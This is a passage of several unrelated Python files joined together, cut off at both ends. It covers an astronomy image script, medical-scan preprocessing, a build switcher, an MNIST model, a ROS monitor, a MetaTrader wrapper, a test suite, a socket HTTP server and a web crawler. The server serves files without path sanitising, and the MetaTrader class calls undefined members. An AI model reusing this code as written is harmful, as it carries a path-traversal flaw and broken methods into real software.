           scalebarx=coordinates.SkyCoord(266.833545*u.deg, -28.37283819*u.deg),
           redfn=paths.Fpath('SGRB2N-2012-Q.DePree_K.recentered.fits'),
           greenfn=paths.Fpath('sgr_b2m.N.B3.allspw.continuum.r0.5.clean1000.image.tt0.pbcor.fits'),
           bluefn=paths.Fpath('sgr_b2m.N.B6.allspw.continuum.r0.5.clean1000.image.tt0.pbcor.fits'),
           redpercentile=99.99,
           greenpercentile=99.99,
           bluepercentile=99.99,
           stretch=visualization.AsinhStretch(),
          ):

    header = fits.getheader(redfn)
    celwcs = wcs.WCS(header).celestial

    redhdu = fits.open(redfn)
    greenhdu = fits.open(greenfn)
    bluehdu = fits.open(bluefn)

    greendata,_ = reproject.reproject_interp((greenhdu[0].data,
                                              wcs.WCS(greenhdu[0].header).celestial),
                                             celwcs,
                                             shape_out=redhdu[0].data.squeeze().shape)
    bluedata,_ = reproject.reproject_interp((bluehdu[0].data,
                                             wcs.WCS(bluehdu[0].header).celestial),
                                            celwcs,
                                            shape_out=redhdu[0].data.squeeze().shape)

    #def rescale(x):
    #    return (x-np.nanmin(x))/(np.nanmax(x) - np.nanmin(x))
    redrescale = visualization.PercentileInterval(redpercentile)
    greenrescale = visualization.PercentileInterval(greenpercentile)
    bluerescale = visualization.PercentileInterval(bluepercentile)

    rgb = np.array([stretch(redrescale(redhdu[0].data.squeeze())),
                    stretch(greenrescale(greendata)),
                    stretch(bluerescale(bluedata)),
                   ]
                  ).swapaxes(0,2).swapaxes(0,1)

    norm = visualization.ImageNormalize(rgb,
                                        interval=visualization.MinMaxInterval(),
                                        stretch=stretch)

    fig1 = pl.figure(1)
    fig1.clf()
    ax = fig1.add_subplot(1,1,1, projection=celwcs)
    pl.imshow(rgb, origin='lower', interpolation='none', norm=norm)

    (x1,x2),(y1,y2) = celwcs.wcs_world2pix(lims[0], lims[1], 0)
    ax.axis((x1,x2,y1,y2))

    visualization_tools.make_scalebar(ax, left_side=scalebarx,
                                      length=1.213*u.arcsec, label='0.05 pc')

    pl.savefig(paths.fpath(figfilename), bbox_inches='tight')

if __name__ == "__main__":

    rgbfig(stretch=visualization.LinearStretch(),)

    rgbfig(figfilename='SgrB2M_RGB.pdf',
           lims=[(266.8359, 266.8325), (-28.38600555, -28.3832)],
           redfn=paths.Fpath('SGRB2M-2012-Q-MEAN.DePree.recentered.fits'),
           greenfn=paths.Fpath('sgr_b2m.M.B3.allspw.continuum.r0.5.clean1000.image.tt0.pbcor.fits'),
           bluefn=paths.Fpath('sgr_b2m.M.B6.allspw.continuum.r0.5.clean1000.image.tt0.pbcor.fits'),
           scalebarx=coordinates.SkyCoord(266.8336007*u.deg, -28.38553839*u.deg),
           redpercentile=99.99,
           greenpercentile=99.98,
           bluepercentile=99.98,
           stretch=visualization.AsinhStretch(),
          )


##

#Proir arthors
#Nathan Reilly
#Gregory Glatzer

#5/14/2021
#Leslie Wubbel
###

import os
import nibabel as nib # pip install nibabel  # https://nipy.org/nibabel/nifti_images.html
import numpy as np
import matplotlib.pyplot as plt
import scipy.io
from PIL import Image
import time

def gen_mat_pngs_from_nifti(niftis_path, root_process_database):
    start = time.time()
    # path constants
    # niftis_path = 'E:\Datasets\LiTS_liver_lesion\LITS17'
    # root_process_database = '../../output_folder/'

    ## Folders to be created
    folder_volumes = os.path.join(root_process_database, 'images_volumes/')
    folder_seg_liver = os.path.join(root_process_database, 'liver_seg/')
    folder_seg_item = os.path.join(root_process_database, 'item_seg/')

    # create non-existent paths
    folder_paths = [root_process_database, folder_volumes, folder_seg_liver, folder_seg_item]

    for p in folder_paths:
        if not os.path.exists(p):
            os.mkdir(p)

    # filter to only files starting with v (volume) or s (segmentation)
    filenames = [filename for filename in os.listdir(niftis_path) if filename[0] in ('v', 's')]

    for filename in filenames:
        path_file = os.path.join(niftis_path, filename)
        index = filename.find('.nii') + 1 # +1 to account for matlab --> python
        if filename[0] == 'v':
            print('Processing Volume {}'.format(filename))
            folder_volume = os.path.join(folder_volumes, filename[7:index-1])
            volume = nib.load(path_file) # load nifti
            imgs = volume.get_fdata() # get 3d NumPy array

            # clipping HU pixel clipping
            imgs[imgs<-150] = -150
            imgs[imgs>250] = 250

            ## # equivalent to matlab single()
            imgs = imgs.astype(np.float32)
            img_max, img_min = (np.max(imgs), np.min(imgs))

            # create folder_volume folder
            img_volume = 255*(imgs - img_min)/(img_max-img_min)
            if not os.path.exists(folder_volume):
                os.mkdir(folder_volume)

            for k in range(img_volume.shape[2]):
                section = img_volume[:,:,k]
                filename_for_section = os.path.join(folder_volume, str(k+1) + '.mat')
                scipy.io.savemat(filename_for_section, {'section': section})
        else:
            print('Processing Segmentation {}'.format(filename))
            folder_seg_item_num = os.path.join(folder_seg_item, filename[13:index-1])
            folder_seg_liver_num = os.path.join(folder_seg_liver, filename[13:index-1])
            segmentation = nib.load(path_file)
            img_seg = segmentation.get_fdata().astype(np.uint8)
            print(img_seg.shape)
            # binarize and normalize data
            img_seg_item = img_seg.copy()
            img_seg_liver = img_seg.copy()

            # create masks
            img_seg_item[img_seg_item == 1] = 0
            img_seg_item[img_seg_item == 2] = 1
            img_seg_liver[img_seg_liver == 2] = 1

            # create dirs
            if not os.path.exists(folder_seg_item_num):
                os.mkdir(folder_seg_item_num)
            if not os.path.exists(folder_seg_liver_num):
                os.mkdir(folder_seg_liver_num)

            # save images
            for k in range(0, img_seg_item.shape[2]):
                print(filename, ", ", k)
                # item
                item_seg_section = np.fliplr(np.flipud(img_seg_item[:,:,k]*255)) # flip on both axes
                item_seg_filename = os.path.join(folder_seg_item_num, str(k+1) + '.png')
                im_item = Image.fromarray(item_seg_section)
                im_item.save(item_seg_filename)

                # liver
                liver_seg_section = np.fliplr(np.flipud(img_seg_liver[:,:,k]*255))
                liver_seg_filename = os.path.join(folder_seg_liver_num, str(k+1) + '.png')
                im_liver = Image.fromarray(liver_seg_section)
                im_liver.save(liver_seg_filename)

    end = time.time()
    print("Elapsed Time is:", end - start)


import os
import errno
import argparse
import sys
from shutil import copyfile

class ProjectSetting(object):
    def __init__(self):
        parser = argparse.ArgumentParser(
            description='Switch Version',
            formatter_class=argparse.RawTextHelpFormatter,
        )
        parser.add_argument(
            '--web-version',
            '-v',
            default='AETINA-RELEASE',
            action='store',
            choices=[
              "STD-RELEASE",
              "STD-DEMOKIT",
              "AETINA-DEMOKIT",
              "AETINA-RELEASE"
            ],
            help='setup iCAP Web version (default: AETINA-RELEASE)',
        )
        parser.add_argument(
            '--mode',
            '-m',
            default='RELEASE',
            action='store',
            choices=["RELEASE", "DEMOKIT", "STRESS", "LIGHT"],
            help="switch to specific mode:\r\n" +
            "RELEASE: production (Webservice: no mock data + no log)\r\n" +
            "DEMOKIT: icap demo site (Webservice: mock data + no log)\r\n" +
            "STRESS : more devices (Webservice: mock data + log)\r\n" +
            "LIGHT  : less devices (Webservice: mock data + log)\r\n" +
            "(default: RELEASE)"
        )
        parser.add_argument(
            '--dbchecker',
            '-d',
            default='AETINA',
            action='store',
            choices=["DEMOSITE", "RELEASE", "AETINA"],
            help="setup sql default data"
        )
        parser.add_argument(
            '--device-count',
            '-c',
            default='AETINA_100',
            action='store',
            choices=["HUNDRED", "THREE_HUNDRED", "SIX_HUNDRED",
                     "THOUSAND", "AETINA_100"],
            help="switch to specific device count:\r\n" +
            "HUNDRED: 100 devices\r\n" +
            "THREE_HUNDRED: 300 devices\r\n" +
            "SIX_HUNDRED : 600 devices\r\n" +
            "THOUSAND  : 1000 devices\r\n" +
            "AETINA_100  : 100 devices\r\n"
        )
        parser.add_argument(
            '--device-images',
            '-i',
            default='AETINA',
            action='store',
            choices=["STD", "AETINA"],
            help='setup mock device images version (default: AETINA)',
        )
        silentRemove()
        args = parser.parse_args()

        print('Web Version: {}'.format(args.web_version))
        print('mode: {}'.format(args.mode))
        print('dbchecker: {}'.format(args.dbchecker))
        print('device count: {}'.format(args.device_count))
        print('device images: {}'.format(args.device_images))
        # getattr(self, args.version)()
        getattr(self, args.mode)()
        if args.device_count != '':
            SetupDeviceCount(args.device_count)
        SetupDBChecker(args.dbchecker)
        SetupWebsite(args.web_version)
        SetupDeviceImg(args.device_images)
        exit(1)

    def RELEASE(self):
        SwitchToReleaseMode()

    def DEMOKIT(self):
        SwitchToDemoKitMode()

    def STRESS(self):
        SwitchToStressMode()

    def LIGHT(self):
        SwitchToLightMode()

def SwitchToReleaseMode():
    try:
        print("Switch to RELEASE mode...", end="")
        copyfile("../config/STD.mk", "../config/current.mk")
        copyfile("common/WebService/Website/http/Dockerfile",
                 "common/WebService/Website/Dockerfile")
        copyfile("common/WebService/Website/http/nginx.conf",
                 "common/WebService/Website/nginx.conf")
        copyfile("common/WebService/DashboardAPI/Docker/Release_Dockerfile",
                 "common/WebService/DashboardAPI/Dockerfile")
        copyfile("common/WebService/AuthenticationAPI/Docker/Release_Dockerfile",
                 "common/WebService/AuthenticationAPI/Dockerfile")
        copyfile("common/WebService/DeviceAPI/Docker/Release_Dockerfile",
                 "common/WebService/DeviceAPI/Dockerfile")
        print("success")
    except OSError:
        print("Fail")

def SwitchToDemoKitMode():
    try:
        print("Switch to DEMOKIT mode...", end="")
        copyfile("../config/DemoKit.mk", "../config/current.mk")
        print("success")
    except OSError:
        print("Fail")

def SwitchToStressMode():
    try:
        print("Switch to STRESS mode...", end="")
        copyfile("../config/Stress.mk", "../config/current.mk")
        copyfile("common/WebService/DashboardAPI/Docker/Debug_Dockerfile",
                 "common/WebService/DashboardAPI/Dockerfile")
        copyfile("common/WebService/AuthenticationAPI/Docker/Debug_Dockerfile",
                 "common/WebService/AuthenticationAPI/Dockerfile")
        copyfile("common/WebService/DeviceAPI/Docker/Debug_Dockerfile",
                 "common/WebService/DeviceAPI/Dockerfile")
        print("success")
    except OSError:
        print("Fail")

def SwitchToLightMode():
    try:
        print("Switch to LIGHT mode...", end="")
        copyfile("../config/Light.mk", "../config/current.mk")
        copyfile("common/WebService/DashboardAPI/Docker/Debug_Dockerfile",
                 "common/WebService/DashboardAPI/Dockerfile")
        copyfile("common/WebService/AuthenticationAPI/Docker/Debug_Dockerfile",
                 "common/WebService/AuthenticationAPI/Dockerfile")
        copyfile("common/WebService/DeviceAPI/Docker/Debug_Dockerfile",
                 "common/WebService/DeviceAPI/Dockerfile")
        print("success")
    except OSError:
        print("Fail")

def SetupDeviceCount(count):
    try:
        print("[MockData]Setup {} device-count...".format(count), end="")
        copyfile("../config/Device_Count/{}.json".format(count),
                 "../config/DeviceCount.json")
        copyfile("../config/DeviceCount.json",
                 "common/WebService/MockDataGenerator/DeviceCount.json")
        copyfile("../config/DeviceCount.json",
                 "common/CoreService/DM/DeviceCount.json")
        print("success")
    except OSError:
        print("Fail")

def SetupWebsite(version):
    try:
        print("[Website]Setup {} Website...".format(version), end="")
        copyfile("common/WebService/Website/config/json/{}.config.json".format(version),
                 "common/WebService/Website/config/current_config.json")
        print("success")
    except OSError:
        print("Fail")

def SetupDeviceImg(version):
    try:
        print("[DeviceImg]Setup {} Device Images...".format(version), end="")
        copyfile("../config/Device_Image/{}.mk".format(version),
                 "../config/device_image.mk")
        print("success")
    except OSError:
        print("Fail")

def SetupDBChecker(version):
    try:
        print("[DBChecker] Setup {}.json...".format(version), end="")
        copyfile("common/WebService/DBChecker/DefaultData/{}.json".format(version),
                 "common/WebService/DBChecker/DefaultData.json")
        print("success")
    except OSError:
        print("Fail")

def silentRemove():
    try:
        os.remove("../config/current.mk")
        os.remove("common/Client/ClientService/ServiceSettin g.json")
        os.remove("../config/DeviceCount.json")
        os.remove("common/WebService/Website/innodisk.com.crt")
        os.remove("common/WebService/Website/innodisk.com.key")
        os.remove("common/WebService/Website/Dockerfile")
        os.remove("common/WebService/Website/nginx.conf")
    except OSError as e:
        if e.errno != errno.ENOENT:
            raise

# Main function
if __name__ == "__main__":
    ProjectSetting()


# -*- coding:utf8 -*-

# os library and limits the log messages
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

# import matplotlib to visualization
import matplotlib.pyplot as plt

# helper librarys
from math import ceil
from numpy import array, argmax

# import tensorflow tools and datasets
from tensorflow import enable_eager_execution, cast, float32
from tensorflow_datasets import load
from tensorflow.nn import relu, softmax
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Dense, Flatten
from tensorflow.logging import set_verbosity, ERROR

set_verbosity(ERROR)
enable_eager_execution()

dataset, metadata = load('fashion_mnist', as_supervised=True, with_info=True)

clothes_classes = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
                   'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']

BATCH_SIZE = 32

num_train_examples = metadata.splits['train'].num_examples
num_test_examples = metadata.splits['test'].num_examples

steps = num_train_examples / BATCH_SIZE

def normalize(images, labels):
    images = cast(images, float32)
    images /= 255
    return images, labels

def show_image(image):
    plt.figure()
    plt.imshow(image, cmap=plt.cm.binary)
    plt.colorbar()
    plt.grid(False)
    plt.show()

def init_datasets():
    return dataset['train'], dataset['test']

def create_model():
    input_layer = Flatten(input_shape=(28, 28, 1))
    hidden_layer = Dense(units=128, activation=relu)
    output_layer = Dense(units=10, activation=softmax)

    model = Sequential([input_layer, hidden_layer, output_layer])
    model.compile(optimizer='adam',
                  loss='sparse_categorical_crossentropy',
                  metrics=['accuracy'])
    return model

def configure_datasets(train_dataset, test_dataset):
    train_dataset = train_dataset.map(normalize)
    test_dataset = test_dataset.map(normalize)
    train_dataset = train_dataset.repeat()
    train_dataset = train_dataset.shuffle(num_train_examples).batch(BATCH_SIZE)
    test_dataset = test_dataset.batch(BATCH_SIZE)
    return train_dataset, test_dataset

def get_predictions(model, test_dataset):
    for test_images, test_labels in test_dataset.take(1):
        test_images = test_images.numpy()
        test_labels = test_labels.numpy()
        predictions = model.predict([test_images])
    return predictions

def show_predictions(predictions):
    for prediction in predictions:
        i = argmax(prediction)
        print(f'The clothe is {clothes_classes[i]}')

def main():
    model = create_model()
    train_dataset, test_dataset = init_datasets()
    train_dataset, test_dataset = configure_datasets(train_dataset, test_dataset)
    model.fit(train_dataset, epochs=5, steps_per_epoch=ceil(steps))

    predictions = get_predictions(model, test_dataset)
    show_predictions(predictions)

if __name__ == '__main__':
    main()


#! /usr/bin/env python
# -*- coding: UTF-8 -*-

import rospy
from syswork.srv import MapLocation, SysIndicatorSrv, playmp3srv
from syswork.msg import syswarn, syserr, AlarmMsg, RFIDAlarm, RFIDWarning, EncoderAlarm, RoutemapAlarm, CassetteDoorAlarm, RoutemapWarning, WarningMsg, TMModbusAlarm, SysWorkAlarm, AGVMAlarm, MotorCfgDiagAlarm
import os
import signal
import subprocess
import time
from datetime import datetime
import json
import yaml
from std_srvs.srv import Trigger
from rosbag_snapshot_msgs.srv import TriggerSnapshot, TriggerSnapshotRequest
from threading import Lock
from rosgraph_msgs.msg import TopicStatistics
from geometry_msgs.msg import PoseWithCovarianceStamped
from nav_msgs.msg import Odometry

class rosbag_monitor(object):
    def __init__(self):
        rospy.loginfo("rosbag_monitor_v_0_1_0 start")
        self.errorsummary = ""
        self.has_alarm_flag = False
        self.latest_odom = None
        self.minus_time = 0
        self.savepath = '/home/gyro/catkin_ws/src/rosbag_snapshot/bags/'
        self.yamlfile = '/home/gyro/catkin_ws/src/rosbag_snapshot/rosbag_snapshot/param/snapshot.yaml'
        self.nowsec = rospy.get_time()
        self.syserr_sub = rospy.Subscriber("/sysindicator/error", syserr, self.syserr_cb)
        self.subscriber = rospy.Subscriber("/odom", Odometry, self.odom_callback)
        self.timer = rospy.Timer(rospy.Duration(1.0), self.process_odom)

    def syserr_cb(self, msg):
        self.errorsummary = msg.errorsummary
        if self.errorsummary != "" :
            self.set_minus()
            if self.has_alarm_flag == False:
                self.has_alarm_flag = True
                rospy.loginfo("ALARM_CODE is " + self.errorsummary)
                now = datetime.now()
                file_time = now.strftime("%Y%m%d_%H%M%S_")
                alarm_name = str(self.errorsummary)
                self.final_file_name = self.savepath +file_time + alarm_name + '_'
                self.set_start_time = max(self.nowsec - self.minus_time, 0) #確保set_start_time不會小於0
                self.start_time = rospy.Time(secs=self.set_start_time, nsecs=0)
                self.stop_time = rospy.Time(secs=self.nowsec, nsecs=0)
                with open(self.yamlfile, 'r') as rosbag_param:
                    data = yaml.safe_load(rosbag_param)
                    self.topics = data['topics']
                print("final_file_name:{}".format(self.final_file_name))
                print("topics:{}".format(self.topics))
                print("minus_time:{}".format(self.minus_time))
                print("start_time:{}".format(self.start_time))
                print("stop_time:{}".format(self.stop_time))
                success, message = self.call_trigger_snapshot(self.final_file_name, self.topics, self.start_time, self.stop_time)
                if success:
                    print("Service call successful.")
                else:
                    print("Service call failed:", message)
            else:
                rospy.loginfo("MR in ALARM, alarm code is {} ,not reset".format(self.errorsummary))

        if self.errorsummary == "":
            rospy.loginfo("MR OK")
            self.minus_time = 0
            self.has_alarm_flag = False

    def set_minus(self):
        #set minus time
        if self.errorsummary == 'RM1058' or self.errorsummary == 'RM1041':
            self.minus_time = 1200
            #MOVE TIME OUT
        elif self.errorsummary == 'RM1015' or self.errorsummary == 'RM1047':
            self.minus_time = 120
            #emo
        elif self.errorsummary == 'RM1049':
            self.minus_time = 120
            #LEAVE NG
        elif self.errorsummary == 'TB1008':
            self.minus_time = 120
            #DOCK NG
        elif self.errorsummary == 'RM1085' or self.errorsummary == 'PJ0002':
            self.minus_time = 200
            #TM TIMEOUT

    def call_trigger_snapshot(self, filename, topics, start_time, stop_time):
        rospy.wait_for_service('/trigger_snapshot')
        try:
            trigger_snapshot_proxy = rospy.ServiceProxy('/trigger_snapshot', TriggerSnapshot)
            request = TriggerSnapshotRequest()
            request.filename = filename
            request.topics = topics
            request.start_time = start_time
            request.stop_time = stop_time
            response = trigger_snapshot_proxy(request)
            return response.success, response.message
        except rospy.ServiceException as e:
            return False, "Service call failed: " + str(e)

    def odom_callback(self, msg):
        self.latest_odom = msg

    def process_odom(self, event):
        if self.latest_odom:
            secs = self.latest_odom.header.stamp.secs
            nsecs = self.latest_odom.header.stamp.nsecs
            self.nowsec = secs
            #rospy.loginfo("odom_now_time: %d", self.nowsec)

if __name__ == "__main__":
    rospy.init_node("rosbag_monitor_node", anonymous=False)
    cd = rosbag_monitor()
    rospy.spin()

'''
RM1058  RM1041  (MOVE TIME OUT)	NOW-1200sec
RM1015  RM1047	(EMO)		    NOW-60sec
RM1049		    (LEAVE NG)	    NOW-60sec
TB1008		    (DOCK NG)	    NOW-60sec
RM1085	PJ0002	(TM TIMEOUT)	NOW-200sec
'''


# -*- coding: utf-8 -*-
import pandas as pd
import MetaTrader5 as mt5
from datetime import datetime, timedelta, timezone
import calendar
import pytz
from const import *

def timeframeUnit(symbol):
    try:
        a = TIMEFRAME[symbol]
        return a[2]
    except:
        return None

def timeframeTime(symbol):
    try:
        a = TIMEFRAME[symbol]
        return (a[1], a[2])
    except:
        return None

def timeframeConstant(symbol):
    try:
        a = TIMEFRAME[symbol]
        return a[0]
    except:
        return None

def timestamp2jst(utc_server):
    t = datetime.fromtimestamp(utc_server, TIMEZONE_TOKYO)
    if isSummerTime(t):
        dt = 3
    else:
        dt = 4
    t -= timedelta(hours=dt)
    return t

def isSummerTime(date_time):
    day0 = dayOfLastSunday(date_time.year, 3)
    tsummer0 = utcTime(date_time.year, 3, day0, 0, 0)
    day1 = dayOfLastSunday(date_time.year, 10)
    tsummer1 = utcTime(date_time.year, 10, day1, 0, 0)
    if date_time > tsummer0 and date_time < tsummer1:
        return True
    else:
        return False

def utcTime(year, month, day, hour, minute):
    local = datetime(year, month, day, hour, minute)
    return pytz.timezone('UTC').localize(local)

def dayOfLastSunday(year, month):
    '''dow: Monday(0) - Sunday(6)'''
    dow = 6
    n = calendar.monthrange(year, month)[1]
    l = range(n - 6, n + 1)
    w = calendar.weekday(year, month, l[0])
    w_l = [i % 7 for i in range(w, w + 7)]
    return l[w_l.index(dow)]

class MT5Bind:
    def __init__(self, market):
        self.market = market
        if not mt5.initialize():
            print("initialize() failed")
            mt5.shutdown()
        #print('Version: ', mt5.version())
        pass

    def close(self):
        mt5.shutdown()
        pass

    def convert(self, data):
        if data is None:
            return [], [], {}

        timeJst = []
        timestamp = []
        o = []
        h = []
        l = []
        c = []
        v = []
        ohlcv = []
        ohlc = []
        for d in data:
            values = list(d)
            jst = timestamp2jst(values[0])
            timeJst.append(jst)
            timestamp.append(jst.timestamp())
            o.append(values[1])
            h.append(values[2])
            l.append(values[3])
            c.append(values[4])
            v.append(values[7])
            ohlc.append([values[1], values[2], values[3], values[4]])
            ohlcv.append([values[1], values[2], values[3], values[4]])

        dic = {}
        dic[TIMEJST] = timeJst
        dic[TIMESTAMP] = timestamp
        dic[OPEN] = o
        dic[HIGH] = h
        dic[LOW] = l
        dic[CLOSE] = c
        dic[VOLUME] = v
        return ohlc, ohlcv, dic

    def download(self, timeframe, size=99999):
        d = mt5.copy_rates_from_pos(self.market, timeframeConstant(timeframe) , 0, size)
        ohlc, ohlcv, dic = self.convert(d)
        return ohlc, ohlcv, dic

    def downloadRange(self, timeframe, begin_jst, end_jst):
        utc_from = self.jst2serverTime(begin_jst)
        utc_to = self.jst2serverTime(end_jst)
        d = mt5.copy_rates_range(self.stock, timeframeConstant(timeframe) , utc_from, utc_to)
        data = self.convert2Array(d)
        return data

    def downloadTicks(self, timeframe, from_jst, size=100000):
        utc_from = self.jst2serverTime(from_jst)
        d = mt5.copy_ticks_from(self.stock, timeframeConstant(timeframe) , utc_from, size, mt5.COPY_TICKS_ALL)
        data = self.convert2Array(d)
        return data

# -----

def test(size):
    server = MT5Bind('DOWUSD')
    ohlc, ohlcv, dic =  server.download('M5', size=size)
    print(ohlc)
    print(dic[TIMEJST])

if __name__ == "__main__":
    test(5)


from pathlib import Path
from typing import Iterator

import numpy as np
import pytest
import xarray as xr
from torchdata.datapipes import functional_datapipe
from torchdata.datapipes.iter import IterDataPipe
from xgboost import XGBRegressor

from gradboost_pv.inference.data_feeds import DataInput
from gradboost_pv.inference.models import (
    NationalBoostInferenceModel,
    NationalPVModelConfig,
    Prediction,
)
from gradboost_pv.inference.run import NationalBoostModelInference
from gradboost_pv.models.utils import load_nwp_coordinates

@functional_datapipe("mock_production_datafeed")
class MockProdDataPipe(IterDataPipe):
    """Mock Datapipe for inference testing"""

    def __init__(self, nwp_data: xr.Dataset, gsp_data: xr.Dataset) -> None:
        self.nwp = nwp_data
        self.gsp = gsp_data
        self.forecast_time = np.datetime64("2023-02-21T11:28:43")  # hardcoded

    def __iter__(self) -> Iterator[DataInput]:
        yield DataInput(
            nwp=self.nwp, gsp=self.gsp, forecast_intitation_datetime_utc=self.forecast_time
        )

@pytest.fixture
def mock_prod_datafeed(sample_prod_nwp_data, sample_prod_gsp_data) -> MockProdDataPipe:
    """Instantiate a Mock datapipe for inference testing."""
    return MockProdDataPipe(sample_prod_nwp_data, sample_prod_gsp_data)

class MockTestingDatabase:
    """Mock database for inference testing"""

    def __init__(self) -> None:
        """Initialise empty database"""
        self.outputs = list()

    def write(self, data):
        """Write prediction data to database"""
        self.outputs.append(data)

class MockTestingDatabaseConnection:
    """Mock database connection for inference testing"""

    def __init__(self) -> None:
        """Initialise connection to new database"""
        self.database = MockTestingDatabase()

    def __enter__(self) -> MockTestingDatabase:
        """Open database connection"""
        return self.database

    def __exit__(self, type, value, traceback) -> None:
        """Close connection"""
        return

@pytest.fixture
def mock_testing_database_connection() -> MockTestingDatabaseConnection:
    """Instantiate a mock testing database for inference testing"""
    return MockTestingDatabaseConnection()

@pytest.fixture
def nwp_coords():
    """Return x, y coordinates of NWP data for region-masking"""
    return load_nwp_coordinates()

@pytest.fixture
def testing_inference_model(
    model_config: NationalPVModelConfig, nwp_coords, mock_model
) -> NationalBoostInferenceModel:
    """Set up model for inference pipeline testing

    Args:
        model_config (NationalPVModelConfig): configuration for testing
        nwp_coords (_type_): coordinates loaded as fixture
        s3_client (_type_): s3 client loaded as fixture

    Returns:
        NationalBoostInferenceModel: model object for inference pipeline
    """
    x, y = nwp_coords

    def _model_loader_by_hour(hour) -> XGBRegressor:
        return mock_model

    model = NationalBoostInferenceModel(model_config, _model_loader_by_hour, x, y)
    model.initialise()
    return model

# @pytest.mark.skip("Currently no access to AWS")
def test_inference(testing_inference_model, mock_prod_datafeed, mock_testing_database_connection):
    """Test for model inference pipeline

    Args:
        testing_inference_model (_type_): Initialised model
        mock_prod_datafeed (_type_): Datafeed of NWP and GSP data
        mock_testing_database_connection (_type_): Connection to output database
    """
    pipeline = NationalBoostModelInference(
        model=testing_inference_model,
        data_feed=mock_prod_datafeed,
        database_connection=mock_testing_database_connection,
    )

    pipeline.run()

    results = mock_testing_database_connection.database.outputs
    assert len(results) == 1, "Should only be computing one batch of predictions"
    assert all(
        [
            isinstance(x, Prediction)
            for x in list(mock_testing_database_connection.database.outputs[0].values())
        ]
    ), "Did not create predictions for the model"


import logging
import os
from pathlib import Path
import signal
import socket
import sys
import time

import responses
from server_parser import ServerParser

class Server:
    DEFAULT_BUFFER_SIZE = 1024
    DEFAULT_DELAY_TIME = 5.0

    def __init__(self, port: int, folder: str, delay: bool = False):
        self.root = folder
        self.port = port
        self.delay = delay
        signal.signal(signal.SIGINT, self.handle_exit)

    def run(self):
        self.server_socket = socket.create_server(
            address=("", self.port), family=socket.AF_INET, reuse_port=True
        )
        self.server_socket.listen()

        while True:
            try:
                conn, address = self.server_socket.accept()
                logging.info(f"Connection from: {address}")

            except:
                logging.info("Shutting down")
                break

            while True:
                try:
                    request = conn.recv(self.DEFAULT_BUFFER_SIZE).decode()
                    if not request:
                        logging.info("Client disconnected...")
                        break

                    while request.find("\r\n\r\n") == -1:
                        request += conn.recv(self.DEFAULT_BUFFER_SIZE).decode()

                except:
                    logging.info("Client disconnected")
                    break

                if self.delay:
                    logging.debug(f"Delaying {self.DEFAULT_DELAY_TIME} seconds")
                    time.sleep(self.DEFAULT_DELAY_TIME)

                action, resource = self.parse_request(request)
                logging.debug(f"Action: {action} Resource: {resource}")
                try:
                    self.send_response(conn, action, resource)

                    logging.debug("Sent")
                except:
                    logging.info("Client disconnected")
                break

            conn.close()

    @staticmethod
    def parse_request(request: str) -> (str, str):
        logging.debug(f"Header: \n{request}")
        action = Server.get_action_from_request(request)
        resource = Server.get_resource_from_request(request)
        return action, resource

    @staticmethod
    def get_action_from_request(request):
        space_index = request.index(" ")
        return request[:space_index]

    @staticmethod
    def get_resource_from_request(request):
        before_resource = request.index(" ")
        after_resource = request.index(" ", before_resource + 1)
        return request[before_resource + 1 : after_resource]

    def send_response(self, connection: socket, action: int, resource: str) -> int:
        logging.debug(f"Full resource path: {self.root + resource}")
        resource = self.root + resource
        # Currently only supporting GET requests
        if action == "GET":
            if not Path(resource).exists():
                response = responses.get_file_not_found()
                logging.debug(f"Invalid path. Sending: \n{response}")
                connection.send(response.encode())
            else:
                Server.send_resource(connection, resource)
        else:
            response = responses.get_method_not_allowed()
            logging.debug(f"Invalid action. Sending: \n{response}")
            connection.send(response.encode())

    @staticmethod
    def send_resource(connection: socket, resource: str):
        file_size = os.path.getsize(resource)
        logging.debug(f"File size: {file_size}")
        header = Server.create_header(200, "OK", file_size)
        logging.debug(f"Response Header: \n{header}")
        connection.send(header.encode())
        with open(resource, "rb") as file:
            while True:
                chunk = file.read(Server.DEFAULT_BUFFER_SIZE)
                if not chunk:
                    break
                logging.debug(f"Sending chunk: \n{chunk}")
                connection.send(chunk)

    @staticmethod
    def create_header(status_code, status_message, content_length):
        return f"""HTTP/1.0 {status_code} {status_message}
Content-Length: {content_length}

"""

    def handle_exit(self, sig, frame):
        logging.info("Interrupt detected, shutting down server...")
        self.server_socket.close()
        sys.exit(0)

if __name__ == "__main__":
    parser = ServerParser()
    server = Server(parser.args.port, parser.args.folder, parser.args.delay)
    server.run()


import sys
import time

import pandas as pd
from selenium import webdriver

# add path that containing chromedriver.exe
sys.path.append('../chromedriver.exe')

# Hide Chrome browser open new window

def crawl_comment_of_item(link_of_item):
    print("Crawl comments in {0}".format(link_of_item))
    options = webdriver.ChromeOptions()
    options.add_argument("headless")
    # Create a driver to perform actions in website as: crawl,event
    browser = webdriver.Chrome(options=options)
    #
    browser.get(link_of_item)
    browser.implicitly_wait(20)

    # init variables
    name_of_item = ""
    # find in html element that containing comment and get text
    comments = []
    rates = []
    page = 1
    try:
        # find in html element that containing name of item
        name_element = browser.find_element_by_xpath("//div[@class='rowtop']/h1")
        name_of_item = name_element.text

        while (1):
            element_cmts = browser.find_elements_by_xpath("//ul[@class = 'ratingLst']/li[@class = 'par']/div/p/i")
            element_spans = browser.find_elements_by_xpath("//ul[@class = 'ratingLst']/li[@class = 'par']/div/p/span")
            for cmt, sp in zip(element_cmts, element_spans):
                time.sleep(1)
                comment = cmt.text
                # get star rate
                elements_stars = sp.find_elements_by_xpath("./i[@class = 'iconcom-txtstar']")
                stars = len(elements_stars)
                # add to list
                comments.append(comment)
                rates.append(stars)
                print("{0} Star: {1}".format(stars, comment))
                pass
            # click next page
            xpath = "//a[@href='javascript:ratingCmtList({0})']".format(page + 1)
            elm = browser.find_element_by_xpath(xpath)
            elm.click()
            time.sleep(1)
            page = page + 1
            pass
    except:
        pass
    # close browser
    browser.quit()
    return name_of_item, comments, rates

def save_to_csv(link, name, comments, rates, filename):
    try:
        datalist = pd.read_csv(filename)
    except:
        datalist = pd.DataFrame(columns=['Link', 'Name', 'Comment', 'Rate'])
    # add data to data list
    new_datalist = pd.DataFrame(columns=['Link', 'Name', 'Comment', 'Rate'])
    new_datalist['Link'] = [link for i in range(len(comments))]
    new_datalist['Name'] = [name for i in range(len(comments))]
    new_datalist['Comment'] = comments
    new_datalist['Rate'] = rates

    datalist = datalist.append(new_datalist, ignore_index=True, sort=False)
    # save file
